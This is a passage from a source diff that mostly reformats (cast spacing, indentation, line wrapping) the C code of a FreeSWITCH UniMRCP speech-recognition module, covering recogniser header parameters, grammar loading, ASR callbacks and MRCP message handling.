switch_status_t status = SWITCH_STATUS_SUCCESS;
- recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+ recognizer_data_t *r = (recognizer_data_t *) schannel->data;
switch_mutex_lock(schannel->mutex);
if (!zstr(r->result)) {
*result = strdup(r->result);
@@ -2352,7 +2390,7 @@
} else {
status = SWITCH_STATUS_FALSE;
}
-
+
switch_mutex_unlock(schannel->mutex);
return status;
}
@@ -2366,7 +2404,8 @@
* @param recog_hdr the recognizer headers to set
* @return SWITCH_STATUS_SUCCESS
*/
-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr)
+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+ mrcp_recog_header_t *recog_hdr)
{
/* loop through each param and add to recog header or vendor-specific-params */
switch_hash_index_t *hi = NULL;
@@ -2375,10 +2414,10 @@
const void *key;
void *val;
switch_hash_this(hi, &key, NULL, &val);
- param_name = (char *)key;
- param_val = (char *)val;
+ param_name = (char *) key;
+ param_val = (char *) val;
if (!zstr(param_name) && !zstr(param_val)) {
- unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
+ unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel->application->param_id_map, param_name);
if (id) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) \"%s\": \"%s\"\n", schannel->name, param_name, param_val);
recog_channel_set_header(schannel, id->id, param_val, msg, recog_hdr);
@@ -2387,7 +2426,7 @@
apt_str_t apt_param_name = { 0 };
apt_str_t apt_param_val = { 0 };
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
- apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
+ apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
apt_string_set(&apt_param_val, param_val);
if (!gen_hdr->vendor_specific_params) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
@@ -2397,7 +2436,7 @@
}
}
}
-
+
if (gen_hdr->vendor_specific_params) {
mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
}
@@ -2421,94 +2460,95 @@
switch (id) {
case RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD:
- recog_hdr->confidence_threshold = (float)atof(val);
+ recog_hdr->confidence_threshold = (float) atof(val);
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD);
break;
case RECOGNIZER_HEADER_SENSITIVITY_LEVEL:
- recog_hdr->sensitivity_level = (float)atof(val);
+ recog_hdr->sensitivity_level = (float) atof(val);
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SENSITIVITY_LEVEL);
break;
case RECOGNIZER_HEADER_SPEED_VS_ACCURACY:
- recog_hdr->speed_vs_accuracy = (float)atof(val);
+ recog_hdr->speed_vs_accuracy = (float) atof(val);
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEED_VS_ACCURACY);
break;
- case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH: {
- int n_best_list_length = atoi(val);
- if (n_best_list_length > 0) {
- recog_hdr->n_best_list_length = n_best_list_length;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid n best list length, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:{
+ int n_best_list_length = atoi(val);
+ if (n_best_list_length > 0) {
+ recog_hdr->n_best_list_length = n_best_list_length;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid n best list length, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT: {
- int no_input_timeout = atoi(val);
- if (no_input_timeout >= 0) {
- recog_hdr->no_input_timeout = no_input_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid no input timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:{
+ int no_input_timeout = atoi(val);
+ if (no_input_timeout >= 0) {
+ recog_hdr->no_input_timeout = no_input_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid no input timeout, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT: {
- int recognition_timeout = atoi(val);
- if (recognition_timeout >= 0) {
- recog_hdr->recognition_timeout = recognition_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid recognition timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:{
+ int recognition_timeout = atoi(val);
+ if (recognition_timeout >= 0) {
+ recog_hdr->recognition_timeout = recognition_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid recognition timeout, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
case RECOGNIZER_HEADER_START_INPUT_TIMERS:
recog_hdr->start_input_timers = !strcasecmp("true", val);
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_START_INPUT_TIMERS);
break;
- case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT: {
- int speech_complete_timeout = atoi(val);
- if (speech_complete_timeout >= 0) {
- recog_hdr->speech_complete_timeout = speech_complete_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech complete timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:{
+ int speech_complete_timeout = atoi(val);
+ if (speech_complete_timeout >= 0) {
+ recog_hdr->speech_complete_timeout = speech_complete_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech complete timeout, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT: {
- int speech_incomplete_timeout = atoi(val);
- if (speech_incomplete_timeout >= 0) {
- recog_hdr->speech_incomplete_timeout = speech_incomplete_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech incomplete timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:{
+ int speech_incomplete_timeout = atoi(val);
+ if (speech_incomplete_timeout >= 0) {
+ recog_hdr->speech_incomplete_timeout = speech_incomplete_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech incomplete timeout, \"%s\"\n", schannel->name,
+ val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT: {
- int dtmf_interdigit_timeout = atoi(val);
- if (dtmf_interdigit_timeout >= 0) {
- recog_hdr->dtmf_interdigit_timeout = dtmf_interdigit_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf interdigit timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:{
+ int dtmf_interdigit_timeout = atoi(val);
+ if (dtmf_interdigit_timeout >= 0) {
+ recog_hdr->dtmf_interdigit_timeout = dtmf_interdigit_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf interdigit timeout, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT: {
- int dtmf_term_timeout = atoi(val);
- if (dtmf_term_timeout >= 0) {
- recog_hdr->dtmf_term_timeout = dtmf_term_timeout;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term timeout, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:{
+ int dtmf_term_timeout = atoi(val);
+ if (dtmf_term_timeout >= 0) {
+ recog_hdr->dtmf_term_timeout = dtmf_term_timeout;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term timeout, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
if (strlen(val) == 1) {
recog_hdr->dtmf_term_char = *val;
@@ -2538,26 +2578,26 @@
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_MODE);
break;
- case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION: {
- int hotword_max_duration = atoi(val);
- if (hotword_max_duration >= 0) {
- recog_hdr->hotword_max_duration = hotword_max_duration;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword max duration, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:{
+ int hotword_max_duration = atoi(val);
+ if (hotword_max_duration >= 0) {
+ recog_hdr->hotword_max_duration = hotword_max_duration;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword max duration, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION: {
- int hotword_min_duration = atoi(val);
- if (hotword_min_duration >= 0) {
- recog_hdr->hotword_min_duration = hotword_min_duration;
- mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword min duration, \"%s\"\n", schannel->name, val);
+ case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:{
+ int hotword_min_duration = atoi(val);
+ if (hotword_min_duration >= 0) {
+ recog_hdr->hotword_min_duration = hotword_min_duration;
+ mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword min duration, \"%s\"\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
recog_hdr->clear_dtmf_buffer = !strcasecmp("true", val);
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER);
@@ -2578,25 +2618,25 @@
mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_MEDIA_TYPE);
break;
- /* Unsupported headers */
+ /* Unsupported headers */
- /* MRCP server headers */
+ /* MRCP server headers */
case RECOGNIZER_HEADER_WAVEFORM_URI:
case RECOGNIZER_HEADER_COMPLETION_CAUSE:
case RECOGNIZER_HEADER_FAILED_URI:
case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
case RECOGNIZER_HEADER_INPUT_TYPE:
case RECOGNIZER_HEADER_COMPLETION_REASON:
- /* module handles this automatically */
+ /* module handles this automatically */
case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
- /* GET-PARAMS method only */
+ /* GET-PARAMS method only */
case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
- /* INTERPRET method only */
+ /* INTERPRET method only */
case RECOGNIZER_HEADER_INTERPRET_TEXT:
- /* unknown */
+ /* unknown */
case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
default:
@@ -2614,7 +2654,7 @@
{
recognizer_data_t *r;
switch_mutex_lock(schannel->mutex);
- r = (recognizer_data_t *)schannel->data;
+ r = (recognizer_data_t *) schannel->data;
r->timers_started = 1;
switch_mutex_unlock(schannel->mutex);
return SWITCH_STATUS_SUCCESS;
@@ -2641,24 +2681,24 @@
recognizer_data_t *r = NULL;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "asr_handle: name = %s, codec = %s, rate = %d, grammar = %s, param = %s\n",
- ah->name, ah->codec, ah->rate, ah->grammar, ah->param);
+ ah->name, ah->codec, ah->rate, ah->grammar, ah->param);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "codec = %s, rate = %d, dest = %s\n", codec, rate, dest);
/* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't. So, lets
- make our own unique name */
+ make our own unique name */
switch_snprintf(name, sizeof(name) - 1, "ASR-%d", speech_channel_number);
name[sizeof(name) - 1] = '\0';
- if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_RECOGNIZER, &globals.recog, (uint16_t)rate, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
+ if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_RECOGNIZER, &globals.recog, (uint16_t) rate, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
goto done;
}
ah->private_info = schannel;
- r = (recognizer_data_t *)switch_core_alloc(ah->memory_pool, sizeof(recognizer_data_t));
+ r = (recognizer_data_t *) switch_core_alloc(ah->memory_pool, sizeof(recognizer_data_t));
schannel->data = r;
memset(r, 0, sizeof(recognizer_data_t));
- switch_core_hash_init(&r->grammars, ah->memory_pool);
+ switch_core_hash_init(&r->grammars, ah->memory_pool);
/* try to open an MRCP channel */
if (!(profile_name = dest)) {
@@ -2667,7 +2707,7 @@
}
}
- profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
+ profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
if (!profile) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
@@ -2676,7 +2716,7 @@
}
status = speech_channel_open(schannel, profile);
- done:
+ done:
return status;
}
@@ -2692,7 +2732,7 @@
static switch_status_t recog_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
const char *grammar_data = NULL;
char *grammar_file_data = NULL;
switch_file_t *grammar_file = NULL;
@@ -2705,7 +2745,7 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
/* stop recognition */
if (speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
@@ -2713,7 +2753,8 @@
}
/* figure out what type of grammar this is */
- if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID) || text_starts_with(grammar, BUILTIN_ID)) {
+ if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID)
+ || text_starts_with(grammar, BUILTIN_ID)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Grammar is URI\n", schannel->name);
type = GRAMMAR_TYPE_URI;
grammar_data = grammar;
@@ -2752,7 +2793,7 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
- grammar_file_data = (char *)switch_core_alloc(schannel->memory_pool, grammar_file_size + 1);
+ grammar_file_data = (char *) switch_core_alloc(schannel->memory_pool, grammar_file_size + 1);
to_read = grammar_file_size;
if (switch_file_read(grammar_file, grammar_file_data, &to_read) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Grammar file read error: %s\n", schannel->name, filename);
@@ -2799,7 +2840,7 @@
status = recog_channel_start(schannel, name);
- done:
+ done:
switch_safe_free(filename);
if (grammar_file) {
@@ -2818,9 +2859,8 @@
static switch_status_t recog_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
- if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS ||
- recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
+ if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS || recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
}
return status;
@@ -2835,8 +2875,8 @@
*/
static switch_status_t recog_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
- recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
+ recognizer_data_t *r = (recognizer_data_t *) schannel->data;
speech_channel_stop(schannel);
speech_channel_destroy(schannel);
switch_core_hash_destroy(&r->grammars);
@@ -2856,7 +2896,7 @@
static switch_status_t recog_asr_feed(switch_asr_handle_t *ah, void *data, unsigned int len, switch_asr_flag_t *flags)
{
switch_size_t slen = len;
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return speech_channel_write(schannel, data, &slen);
}
@@ -2866,11 +2906,11 @@
* @param ah the FreeSWITCH speech recognition handle
* @param name name of the grammar to use
* @return SWITCH_STATUS_SUCCESS if successful
- */
+ */
static switch_status_t recog_asr_start(switch_asr_handle_t *ah, const char *name)
{
switch_status_t status;
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
status = recog_channel_start(schannel, name);
return status;
}
@@ -2883,7 +2923,7 @@
*/
static switch_status_t recog_asr_resume(switch_asr_handle_t *ah)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return recog_channel_start(schannel, NULL);
}
@@ -2894,7 +2934,7 @@
*/
static switch_status_t recog_asr_pause(switch_asr_handle_t *ah)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return speech_channel_stop(schannel);
}
@@ -2908,7 +2948,7 @@
*/
static switch_status_t recog_asr_check_results(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return recog_channel_check_results(schannel);
}
@@ -2921,7 +2961,7 @@
*/
static switch_status_t recog_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return recog_channel_get_results(schannel, xmlstr);
}
@@ -2932,7 +2972,7 @@
*/
static switch_status_t recog_asr_start_input_timers(switch_asr_handle_t *ah)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
return recog_channel_start_input_timers(schannel);
}
@@ -2946,7 +2986,7 @@
*/
static void recog_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
speech_channel_set_param(schannel, param, val);
}
@@ -2960,7 +3000,7 @@
*/
static void recog_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
char *val_str = switch_mprintf("%d", val);
speech_channel_set_param(schannel, param, val_str);
switch_safe_free(val_str);
@@ -2976,7 +3016,7 @@
*/
static void recog_asr_float_param(switch_asr_handle_t *ah, char *param, double val)
{
- speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
char *val_str = switch_mprintf("%f", val);
speech_channel_set_param(schannel, param, val_str);
switch_safe_free(val_str);
@@ -2995,8 +3035,8 @@
*/
static apt_bool_t recog_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
{
- speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
- mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *)mrcp_resource_header_get(message);
+ speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
+ mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *) mrcp_resource_header_get(message);
if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
/* received MRCP response */
if (message->start_line.method_id == RECOGNIZER_RECOGNIZE) {
@@ -3008,9 +3048,11 @@
} else if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
/* RECOGNIZE failed to start */
if (recog_hdr->completion_cause == RECOGNIZER_COMPLETION_CAUSE_UNKNOWN) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d\n", schannel->name, message->start_line.status_code);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d\n", schannel->name,
+ message->start_line.status_code);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n", schannel->name, message->start_line.status_code, recog_hdr->completion_cause);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n",
+ schannel->name, message->start_line.status_code, recog_hdr->completion_cause);
}
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
} else if (message->start_line.request_state == MRCP_REQUEST_STATE_PENDING) {
@@ -3018,7 +3060,8 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE PENDING\n", schannel->name);
} else {
/* received unexpected request_state */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected RECOGNIZE request state: %d\n", schannel->name, message->start_line.request_state);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected RECOGNIZE request state: %d\n", schannel->name,
+ message->start_line.request_state);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else if (message->start_line.method_id == RECOGNIZER_STOP) {
@@ -3029,9 +3072,10 @@
speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
} else {
/* received unexpected request state */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP request state: %d\n", schannel->name, message->start_line.request_state);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP request state: %d\n", schannel->name,
+ message->start_line.request_state);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
- }
+ }
} else if (message->start_line.method_id == RECOGNIZER_START_INPUT_TIMERS) {
/* received response to START-INPUT-TIMERS request */
if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
@@ -3039,7 +3083,8 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers started\n", schannel->name);
recog_channel_set_timers_started(schannel);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers failed to start, status code = %d\n", schannel->name, message->start_line.status_code);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers failed to start, status code = %d\n", schannel->name,
+ message->start_line.status_code);
}
}
} else if (message->start_line.method_id == RECOGNIZER_DEFINE_GRAMMAR) {
@@ -3049,26 +3094,30 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar loaded\n", schannel->name);
speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar failed to load, status code = %d\n", schannel->name, message->start_line.status_code);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar failed to load, status code = %d\n", schannel->name,
+ message->start_line.status_code);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
}
} else {
/* received unexpected response */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name,
+ (int) message->start_line.method_id);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
/* received MRCP event */
if (message->start_line.method_id == RECOGNIZER_RECOGNITION_COMPLETE) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n", schannel->name, recog_hdr->completion_cause);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n", schannel->name,
+ recog_hdr->completion_cause);
if (message->body.length > 0) {
if (message->body.buf[message->body.length - 1] == '\0') {
recog_channel_set_results(schannel, message->body.buf);
} else {
/* string is not null terminated */
- char *result = (char *)switch_core_alloc(schannel->memory_pool, message->body.length + 1);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Recognition result is not null-terminated. Appending null terminator.\n", schannel->name);
+ char *result = (char *) switch_core_alloc(schannel->memory_pool, message->body.length + 1);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ "(%s) Recognition result is not null-terminated. Appending null terminator.\n", schannel->name);
strncpy(result, message->body.buf, message->body.length);
result[message->body.length] = '\0';
recog_channel_set_results(schannel, result);
@@ -3084,11 +3133,13 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) START OF INPUT\n", schannel->name);
recog_channel_set_start_of_input(schannel);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name,
+ (int) message->start_line.method_id);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name,
+ message->start_line.message_type);
